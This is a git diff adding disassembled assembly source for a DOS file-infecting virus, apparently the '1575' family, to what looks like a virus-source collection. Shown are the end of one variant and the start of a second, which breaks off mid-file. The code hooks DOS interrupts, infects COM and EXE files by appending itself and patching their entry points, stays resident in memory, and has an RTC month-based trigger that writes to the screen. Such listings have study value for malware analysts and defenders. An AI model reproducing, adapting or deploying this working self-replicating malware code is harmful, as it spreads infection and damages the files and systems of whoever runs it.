bx,cs:data_22 + mov ax,cs + sub ax,bx + push ax + mov ax,cs:data_23 + push ax + retf ; Return far + db 23h, 1Ah + db '<#/--!.$' + db 0Eh, 23h, 2Fh, 2Dh, 0E0h + db 'D:VRES.COM' + db 0, 58h, 45h, 0, 0 + db 24h, 24h, 24h, 24h, 24h + +; External Entry into Subroutine + +sub_2: + mov ax,3D02h + mov dx,219h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_9 ; Jump if carry=0 + clc ; Clear carry flag + retn +loc_9: + mov ds:data_1e,ax + mov dx,673h + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,4202h + mov bx,ds:data_1e + mov cx,0FFFFh + mov dx,0FFFEh + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,27Dh + mov ah,3Fh ; '?' + mov bx,ds:data_1e + mov cx,2 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push ds + mov dx,ds:data_3e + mov ax,ds:data_2e + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + cmp word ptr ds:data_5e,0A0Ch + clc ; Clear carry flag + retn + db 0CDh, 20h +loc_10: + cmp ax,22Dh + je loc_11 ; Jump if equal + push ds + pop es + push cs + pop ds + mov ax,data_26 + mov ss,ax + xchg bp,sp + mov si,13Ch + mov di,0 + mov cx,10h + cld ; Clear direction + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + jmp loc_3 ; (018C) +sub_1 endp + + +; +; SUBROUTINE +; + +sub_3 proc near +loc_11: + mov al,43h ; 'C' + mov ds:data_7e,al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov ds:data_4e,al + mov dx,219h + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_12 ; Jump if carry=0 + retn +loc_12: + mov ds:data_1e,ax + mov dx,10Bh + mov bx,ds:data_1e + mov cx,0Ch + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + push ax + add ax,10h + and ax,0FFF0h + push ax + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + mov di,31Fh + stosw ; Store ax to es:[di] + pop ax + pop bx + sub ax,bx + mov cx,627h + add cx,ax + mov dx,100h + sub dx,ax + mov bx,ds:data_1e + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov bx,ds:data_1e + mov cx,0Ch + mov dx,31Bh + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,3Eh ; '>' + mov bx,ds:data_1e + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_3 endp + + db 0Eh, 8Ch, 0C8h, 5, 1, 0 + db 50h, 0B8h, 0, 1, 50h, 0CBh + +; +; SUBROUTINE +; + +sub_4 proc near + mov al,45h ; 'E' + mov byte ptr ds:[724h],al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov data_34,al + mov dx,219h + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_13 ; Jump if carry=0 + retn +loc_13: + mov data_26,ax + mov dx,10Bh + mov bx,data_26 + mov cx,18h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ax,4202h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + push ax + add ax,10h + adc dx,0 + and ax,0FFF0h + mov data_24,dx + mov data_25,ax + mov cx,727h + sub cx,100h + add ax,cx + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + inc ax + mov data_16,ax + mov data_15,dx + mov ax,data_21 + mov data_22,ax + mov ax,data_20 + mov data_23,ax + mov ax,data_18 + mov data_29,ax + mov ax,data_19 + mov data_30,ax + mov dx,data_24 + mov ax,data_25 + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + sub ax,10h + sub ax,data_17 + mov data_21,ax + mov data_18,ax + mov data_20,100h + mov data_19,100h + mov ax,4200h + xor cx,cx ; Zero register + mov dx,2 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,10Dh + mov bx,data_26 + mov cx,16h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,100h + mov ax,data_25 + pop cx + sub ax,cx + sub dx,ax + mov cx,727h + add cx,ax + sub cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_4 endp + + db 51h, 0B9h, 0, 0, 0B4h, 4Eh + db 0CDh, 21h, 59h, 0C3h + +; +; SUBROUTINE +; + +sub_5 proc near + push es + mov ax,351Ch + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov cs:data_13,bx + mov cs:data_14,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + pop ax + mov cs:data_12,ax + mov cs:data_11,bx + pop es + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push es + push ds + xor ax,ax ; Zero register + mov es,ax + mov si,86h + mov ax,es:[si] + mov ds,ax + mov si,725h + cmp word ptr [si],0A0Ch + jne loc_14 ; Jump if not equal + push ds + pop ax + call sub_13 ; (0611) + pop ds + pop es + pop ax + retn +loc_14: + push cs + pop ds + mov ax,data_31 + dec ax + mov es,ax + cmp byte ptr es:[0],5Ah ; 'Z' + je loc_15 ; Jump if equal + jmp short loc_16 ; (04B4) + db 90h +loc_15: + mov ax,es:data_9e + mov cx,737h + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + sub ax,cx + jc loc_16 ; Jump if carry Set + mov es:data_9e,ax + sub es:data_10e,cx + push cs + pop ds + mov ax,es:data_10e + push ax + pop es + mov si,100h + push si + pop di + mov cx,627h + cld ; Clear direction + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + push es + sub ax,ax + mov es,ax + mov si,84h + mov dx,4A8h + mov es:[si],dx + inc si + inc si + pop ax + mov es:[si],ax +loc_16: + pop ds + pop es + pop ax + retn +sub_6 endp + + db 3Ch, 57h, 75h, 3, 0EBh, 1Eh + db 90h, 80h, 0FCh, 1Ah, 75h, 6 + db 0E8h, 17h, 1, 0EBh, 13h, 90h +loc_17: + cmp ah,11h + jne loc_18 ; Jump if not equal + call sub_7 ; (04E1) + iret ; Interrupt return +loc_18: + cmp ah,12h + jne loc_19 ; Jump if not equal + call sub_10 ; (059C) + iret ; Interrupt return +loc_19: + jmp dword ptr cs:data_11 + +; +; SUBROUTINE +; + +sub_7 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + mov byte ptr cs:data_35,0 + nop + call sub_8 ; (0514) + jnz loc_20 ; Jump if not zero + call sub_2 ; (023D) + jz loc_20 ; Jump if zero + call sub_15 ; (065A) + dec byte ptr ds:data_6e +loc_20: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push cs + pop es + push cs + pop es + cld ; Clear direction + call sub_9 ; (0552) + jnc loc_21 ; Jump if carry=0 + cmp di,0 + retn +loc_21: + mov di,219h + mov al,2Eh ; '.' + mov cx,0Bh + repne scasb ; Rept zf=0+cx>0 Scan es:[di] for al + cmp word ptr [di],4F43h + jne loc_22 ; Jump if not equal + cmp byte ptr [di+2],4Dh ; 'M' + jne loc_22 ; Jump if not equal + mov byte ptr ds:[724h],43h ; 'C' + nop + retn +loc_22: + cmp word ptr [di],5845h + jne loc_ret_23 ; Jump if not equal + cmp byte ptr [di+2],45h ; 'E' + jne loc_ret_23 ; Jump if not equal + mov byte ptr ds:[724h],45h ; 'E' + nop + +loc_ret_23: + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near +loc_24: + push ds + mov si,cs:data_27 + mov ax,cs:data_28 + mov ds,ax + mov di,219h + lodsb ; String [si] to al + cmp al,0FFh + jne loc_25 ; Jump if not equal + add si,6 + lodsb ; String [si] to al + jmp short loc_26 ; (0574) + db 90h +loc_25: + cmp al,5 + jb loc_26 ; Jump if below + pop ds + stc ; Set carry flag + retn +loc_26: + mov cx,0Bh + cmp al,0 + je locloop_27 ; Jump if equal + add al,40h ; '@' + stosb ; Store al to es:[di] + mov al,3Ah ; ':' + stosb ; Store al to es:[di] + +locloop_27: + lodsb ; String [si] to al + cmp al,20h ; ' ' + je loc_28 ; Jump if equal + stosb ; Store al to es:[di] + jmp short loc_29 ; (0594) + db 90h +loc_28: + cmp byte ptr es:[di-1],2Eh ; '.' + je loc_29 ; Jump if equal + mov al,2Eh ; '.' + stosb ; Store al to es:[di] +loc_29: + loop locloop_27 ; Loop if cx > 0 + + mov al,0 + stosb ; Store al to es:[di] + pop ds + clc ; Clear carry flag + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + cmp byte ptr cs:data_35,0 + je loc_30 ; Jump if equal + jmp short loc_31 ; (05D3) + db 90h +loc_30: + call sub_8 ; (0514) + jnz loc_31 ; Jump if not zero + call sub_2 ; (023D) + jz loc_31 ; Jump if zero + call sub_15 ; (065A) + dec byte ptr ds:data_6e + pop es + pop ds + pop di + pop si +data_35 db 5Dh + db 5Bh, 5Ah, 59h, 58h, 0C3h +loc_31: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_10 endp + + db 0 + +; +; SUBROUTINE +; + +sub_11 proc near + push ax + push ds + pop ax + mov cs:data_28,ax + mov cs:data_27,dx + pop ax + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + push cs + mov al,0 + out 20h,al ; port 20h, 8259-1 int command + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_3e,bx + mov bx,es + mov ds:data_2e,bx + pop es + mov si,20Ah + mov di,219h + mov cx,0Fh + +locloop_32: + lodsb ; String [si] to al + add al,20h ; ' ' + stosb ; Store al to es:[di] + loop locloop_32 ; Loop if cx > 0 + + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + push ax + push cs + pop ds + push cs + pop es + mov bl,data_34 + cmp bl,0Ch + ja loc_34 ; Jump if above + cmp bl,0 + je loc_34 ; Jump if equal + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + cmp al,0Ch + ja loc_34 ; Jump if above + cmp al,0 + je loc_34 ; Jump if equal + cmp al,bl + je loc_34 ; Jump if equal + inc bl + call sub_14 ; (064F) + cmp al,bl + je loc_34 ; Jump if equal + inc bl + call sub_14 ; (064F) + cmp al,bl + je loc_34 ; Jump if equal + pop ds + call sub_16 ; (0686) + push cs + pop ds + retn + +; External Entry into Subroutine + +sub_14: + cmp bl,0Ch + jbe loc_ret_33 ; Jump if below or = + sub bl,0Ch + +loc_ret_33: + retn +loc_34: + pop ax + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + mov dx,673h + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + cmp byte ptr ds:[724h],43h ; 'C' + jne loc_35 ; Jump if not equal + call sub_3 ; (02AE) + jmp short loc_36 ; (0672) + db 90h +loc_35: + call sub_4 ; (0337) +loc_36: + push ds +sub_15 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + mov dx,data_33 + mov ax,data_32 + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + retn +int_24h_entry endp + + db 0B0h, 3, 0CFh + +; +; SUBROUTINE +; + +sub_16 proc near + mov dx,6B0h + mov ax,251Ch + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov byte ptr ds:data_8e,90h + nop + mov ax,0B800h + mov es,ax +data_36 db 0BFh +data_37 dw 0FA0h + db 0B8h, 20h, 7, 0B9h, 0Bh, 0 + db 0F2h, 0ABh, 0Eh, 7, 0C3h, 0 + db 0, 0, 20h, 7, 0Fh + db 0Ah +data_38 db 0Fh + db 0Ah +data_39 db 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h + db 0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h + db 51h, 52h, 53h, 55h, 56h, 57h + db 1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh + db 90h +loc_37: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + iret ; Interrupt return +sub_16 endp + + db 0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h + db 2Bh, 0, 0BEh, 9Ah, 6, 0B9h + db 16h, 0, 0F2h, 0A4h, 80h, 3Eh + db 0AEh, 6, 0EEh, 74h, 8, 0C6h + db 6, 0AEh, 6, 0EEh, 0EBh, 6 + db 90h +loc_38: + mov data_38,0F0h +loc_39: + mov ax,es:[di] + mov ah,0Eh + mov data_37,ax + mov data_36,0 + jmp short loc_37 ; (06D0) + +; +; SUBROUTINE +; + +sub_17 proc near + mov di,0 +loc_40: + mov si,69Ch + push di + mov cx,12h + cld ; Clear direction + repe cmpsb ; Rept zf=1+cx>0 Cmp [si] to es:[di] + pop di + jz loc_41 ; Jump if zero + inc di + inc di + cmp di,0FA0h + jne loc_40 ; Jump if not equal + mov di,0 +loc_41: + cmp di,0F9Eh + jne loc_ret_42 ; Jump if not equal + mov data_39,0CFh + +loc_ret_42: + retn +sub_17 endp + + db 43h, 0Ch, 0Ah + +seg_a ends + + + + end start diff --git a/0-9/1575-E (2).ASM b/0-9/1575-E (2).ASM new file mode 100755 index 0000000..76d3a1f --- /dev/null +++ b/0-9/1575-E (2).ASM @@ -0,0 +1,983 @@ + +PAGE 59,132 + +; +; +; 1575-E +; +; Created: 23-May-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 6 +data_2e equ 84h +data_3e equ 86h +data_4e equ 100h +data_10e equ 31Fh +data_12e equ 0 ;* +data_13e equ 3 ;* +data_14e equ 12h ;* +data_15e equ 0 +data_55e equ 0FA0h +data_56e equ 6B0h +data_57e equ 725h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1575-e proc far + +start: + jmp short loc_4 + db 90h +data_17 dw 0B2Bh, 103Eh +data_19 dw 0FF53h +data_20 dw 0F000h +data_21 db 0B4h + db 2 +data_22 dw 2AB2h +data_23 dw 21CDh + db 0CDh, 20h +data_24 dw 0E5h + db 3Dh, 02h,0FFh,0FFh +data_25 dw 50Fh +data_26 dw 100h + db 26h,0D9h +data_27 dw 100h +data_28 dw 50Fh +data_29 dw 480h +data_30 dw 0 +data_31 dw 0 +data_32 dw 53F0h +data_33 dw 5 +data_34 dw 648Ch +data_35 dw 789Fh +data_36 dw 480h +data_37 dw 0BD1h +data_38 dw 1213h +data_39 dw 0EA2h +data_40 dw 5BFh +data_41 db 4Dh +data_42 db 31h + db 68h, 7Dh, 02h,0FBh, 07h + db 70h, 00h + +loc_ret_2: + retn + db 0E2h, 00h + db 0F0h,0FBh, 07h, 70h, 00h +loc_4: + push es + push ds + mov ax,es + push cs + pop ds + push cs + pop es + mov data_38,ax + mov ax,ss + mov data_33,ax + std ; Set direction flag + mov ax,7076h + cld ; Clear direction + xor ax,ax ; Zero register + mov ds,ax + xor si,si ; Zero register + mov di,offset data_42 + mov cx,10h + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + push ds + pop ss + mov bp,8 + xchg bp,sp + call sub_2 + jmp loc_27 +loc_5: + call sub_13 + call sub_3 + jz loc_6 ; Jump if zero + mov al,data_53 + push ax + call sub_4 + pop ax + mov data_53,al + jmp short loc_7 + db 90h +loc_6: + call sub_6 + call sub_7 + cmp byte ptr data_53,0 + jne loc_7 ; Jump if not equal + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_7: + cmp byte ptr data_53,43h ; 'C' + jne loc_10 ; Jump if not equal +loc_8: + pop ds + pop es + push cs + pop ds + pop es + push es + mov di,data_4e + mov si,offset data_21 + mov cx,0Ch + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + push es + pop ds + mov ax,100h + push ax + xor ax,ax ; Zero register + retf ; Return far + +1575-e endp + +; +; SUBROUTINE +; + +sub_2 proc near + mov si,data_1e + lodsw ; String [si] to ax + cmp ax,192h + je loc_8 ; Jump if equal + cmp ax,179h + jne loc_9 ; Jump if not equal + jmp loc_12 +loc_9: + cmp ax,1DCh + je loc_10 ; Jump if equal + retn +loc_10: + pop ds + pop es + mov bx,cs:data_25 + sub bx,cs:data_36 + mov ax,cs + sub ax,bx + mov ss,ax + mov bp,cs:data_37 + xchg bp,sp + mov bx,cs:data_28 + sub bx,cs:data_29 + mov ax,cs + sub ax,bx + push ax + mov ax,cs:data_30 + push ax + retf ; Return far +data_43 db 23h + db 1Ah + db '<#/--!.$' + db 0Eh, 23h, 2Fh, 2Dh,0E0h +data_44 db 'A:MIO.COM', 0 + db 58h, 45h, 00h, 00h, 00h + db 24h, 24h, 24h, 24h, 24h + +; External Entry into Subroutine + +sub_3: + mov ax,3D02h + mov dx,offset data_44 ; ('A:MIO.COM') + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_11 ; Jump if carry=0 + clc ; Clear carry flag + retn +loc_11: + mov data_33,ax + mov dx,offset int_24h_entry + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,4202h + mov bx,data_33 + mov cx,0FFFFh + mov dx,0FFFEh + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,offset data_45 + mov ah,3Fh ; '?' + mov bx,data_33 + mov cx,2 + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push ds + mov dx,data_40 + mov ax,data_39 + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + cmp data_45,0A0Ch + clc ; Clear carry flag + retn +data_45 dw 20CDh +loc_12: + cmp ax,22Dh + je loc_13 ; Jump if equal + push ds + pop es + push cs + pop ds + mov ax,data_33 + mov ss,ax + xchg bp,sp + mov si,offset data_42 + mov di,data_15e + mov cx,10h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + jmp loc_5 +sub_2 endp + + +; +; SUBROUTINE +; + +sub_4 proc near +loc_13: + mov al,43h ; 'C' + mov data_53,al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov data_41,al + mov dx,offset data_44 ; ('A:MIO.COM') + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_14 ; Jump if carry=0 + retn +loc_14: + mov data_33,ax + mov dx,offset data_21 + mov bx,data_33 + mov cx,0Ch + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + push ax + add ax,10h + and ax,0FFF0h + push ax + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + shr ax,1 ; Shift w/zeros fill + mov di,data_10e + stosw ; Store ax to es:[di] + pop ax + pop bx + sub ax,bx + mov cx,627h + add cx,ax + mov dx,100h + sub dx,ax + mov bx,data_33 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ah,40h ; '@' + mov bx,data_33 + mov cx,0Ch + mov dx,offset data_46 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + mov bx,data_33 + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_4 endp + +data_46 db 0Eh + db 8Ch,0C8h, 05h, 01h, 00h, 50h + db 0B8h, 00h, 01h, 50h,0CBh + +; +; SUBROUTINE +; + +sub_5 proc near + mov al,45h ; 'E' + mov data_53,al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov data_41,al + mov dx,offset data_44 ; ('A:MIO.COM') + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_15 ; Jump if carry=0 + retn +loc_15: + mov data_33,ax + mov dx,offset data_21 + mov bx,data_33 + mov cx,18h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ax,4202h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + push ax + add ax,10h + adc dx,0 + and ax,0FFF0h + mov data_31,dx + mov data_32,ax + mov cx,727h + sub cx,100h + add ax,cx + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + inc ax + mov data_23,ax + mov data_22,dx + mov ax,data_28 + mov data_29,ax + mov ax,data_27 + mov data_30,ax + mov ax,data_25 + mov data_36,ax + mov ax,data_26 + mov data_37,ax + mov dx,data_31 + mov ax,data_32 + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + sub ax,10h + sub ax,data_24 + mov data_28,ax + mov data_25,ax + mov data_27,100h + mov data_26,100h + mov ax,4200h + xor cx,cx ; Zero register + mov dx,2 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,offset data_22 + mov bx,data_33 + mov cx,16h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,100h + mov ax,data_32 + pop cx + sub ax,cx + sub dx,ax + mov cx,727h + add cx,ax + sub cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_5 endp + + push cx + mov cx,0 + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + pop cx + retn + +; +; SUBROUTINE +; + +sub_6 proc near + push es + mov ax,351Ch + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov cs:data_19,bx + mov cs:data_20,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + pop ax + mov word ptr cs:data_17+2,ax + mov cs:data_17,bx + pop es + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push ax + push es + push ds + xor ax,ax ; Zero register + mov es,ax + mov si,data_3e + mov ax,es:[si] + mov ds,ax + mov si,data_57e + cmp word ptr [si],0A0Ch + jne loc_16 ; Jump if not equal + push ds + pop ax + call sub_14 + pop ds + pop es + pop ax + retn +loc_16: + push cs + pop ds + mov ax,data_38 + dec ax + mov es,ax + cmp byte ptr es:data_12e,5Ah ; 'Z' + nop ;*ASM fixup - sign extn byte + je loc_17 ; Jump if equal + jmp short loc_18 + db 90h +loc_17: + mov ax,es:data_13e + mov cx,737h + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + sub ax,cx + jc loc_18 ; Jump if carry Set + mov es:data_13e,ax + sub es:data_14e,cx + push cs + pop ds + mov ax,es:data_14e + push ax + pop es + mov si,100h + push si + pop di + mov cx,627h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + push es + sub ax,ax + mov es,ax + mov si,data_2e + mov dx,4A8h + mov es:[si],dx + inc si + inc si + pop ax + mov es:[si],ax +loc_18: + pop ds + pop es + pop ax + retn +sub_7 endp + + cmp al,57h ; 'W' + jne loc_19 ; Jump if not equal + jmp short loc_22 + db 90h +loc_19: + cmp ah,1Ah + jne loc_20 ; Jump if not equal + call sub_12 + jmp short loc_22 + db 90h +loc_20: + cmp ah,11h + jne loc_21 ; Jump if not equal + call sub_8 + iret ; Interrupt return +loc_21: + cmp ah,12h + jne loc_22 ; Jump if not equal + call sub_11 + iret ; Interrupt return +loc_22: + jmp dword ptr cs:data_17 + +; +; SUBROUTINE +; + +sub_8 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + mov byte ptr cs:data_47,0 + nop + call sub_9 + jnz loc_23 ; Jump if not zero + call sub_3 + jz loc_23 ; Jump if zero + call sub_16 + dec data_47 +loc_23: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push cs + pop es + push cs + pop es + cld ; Clear direction + call sub_10 + jnc loc_24 ; Jump if carry=0 + cmp di,0 + retn +loc_24: + mov di,offset data_44 ; ('A:MIO.COM') + mov al,2Eh ; '.' + mov cx,0Bh + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp word ptr [di],4F43h + jne loc_25 ; Jump if not equal + cmp byte ptr [di+2],4Dh ; 'M' + jne loc_25 ; Jump if not equal + mov byte ptr data_53,43h ; 'C' + nop + retn +loc_25: + cmp word ptr [di],5845h + jne loc_ret_26 ; Jump if not equal + cmp byte ptr [di+2],45h ; 'E' + jne loc_ret_26 ; Jump if not equal + mov byte ptr data_53,45h ; 'E' + nop + +loc_ret_26: + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near +loc_27: + push ds + mov si,cs:data_34 + mov ax,cs:data_35 + mov ds,ax + mov di,offset data_44 ; ('A:MIO.COM') + lodsb ; String [si] to al + cmp al,0FFh + jne loc_28 ; Jump if not equal + add si,6 + lodsb ; String [si] to al + jmp short loc_29 + db 90h +loc_28: + cmp al,5 + jb loc_29 ; Jump if below + pop ds + stc ; Set carry flag + retn +loc_29: + mov cx,0Bh + cmp al,0 + je locloop_30 ; Jump if equal + add al,40h ; '@' + stosb ; Store al to es:[di] + mov al,3Ah ; ':' + stosb ; Store al to es:[di] + +locloop_30: + lodsb ; String [si] to al + cmp al,20h ; ' ' + je loc_31 ; Jump if equal + stosb ; Store al to es:[di] + jmp short loc_32 + db 90h +loc_31: + cmp byte ptr es:[di-1],2Eh ; '.' + je loc_32 ; Jump if equal + mov al,2Eh ; '.' + stosb ; Store al to es:[di] +loc_32: + loop locloop_30 ; Loop if cx > 0 + + mov al,0 + stosb ; Store al to es:[di] + pop ds + clc ; Clear carry flag + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + cmp byte ptr cs:data_47,0 + je loc_33 ; Jump if equal + jmp short loc_34 + db 90h +loc_33: + call sub_9 + jnz loc_34 ; Jump if not zero + call sub_3 + jz loc_34 ; Jump if zero + call sub_16 + dec data_47 + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +loc_34: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_11 endp + +data_47 db 0 + +; +; SUBROUTINE +; + +sub_12 